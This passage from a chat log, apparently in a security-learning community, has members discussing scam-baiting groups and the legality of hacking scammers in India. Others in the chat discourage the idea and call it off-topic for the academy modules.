So don't even attempt those shenanigans.

[fathom pendant]

They literally worked with Indian SWAT to coordinate a raid

[upper ruin]

Isn't it law enforcement?

[fathom pendant]

they aren't just doing this for the lulz and because these guys deserve it

[gilded sundial]

In India it's legal to hack a scammer

[fathom pendant]

Even what Trilogy media does is HEAVILY in the grey area

[upper ruin]

Are you in India.

No?

[fathom pendant]

irrelevant tbh as this is unrelated to academy modules here

[upper ruin]

True.

[gilded sundial]

Yes

I'm indian

[fathom pendant]

I get you wanna get back at these idiots; but this isn't the place

[upper ruin]

Ok, don't chit chat about it here.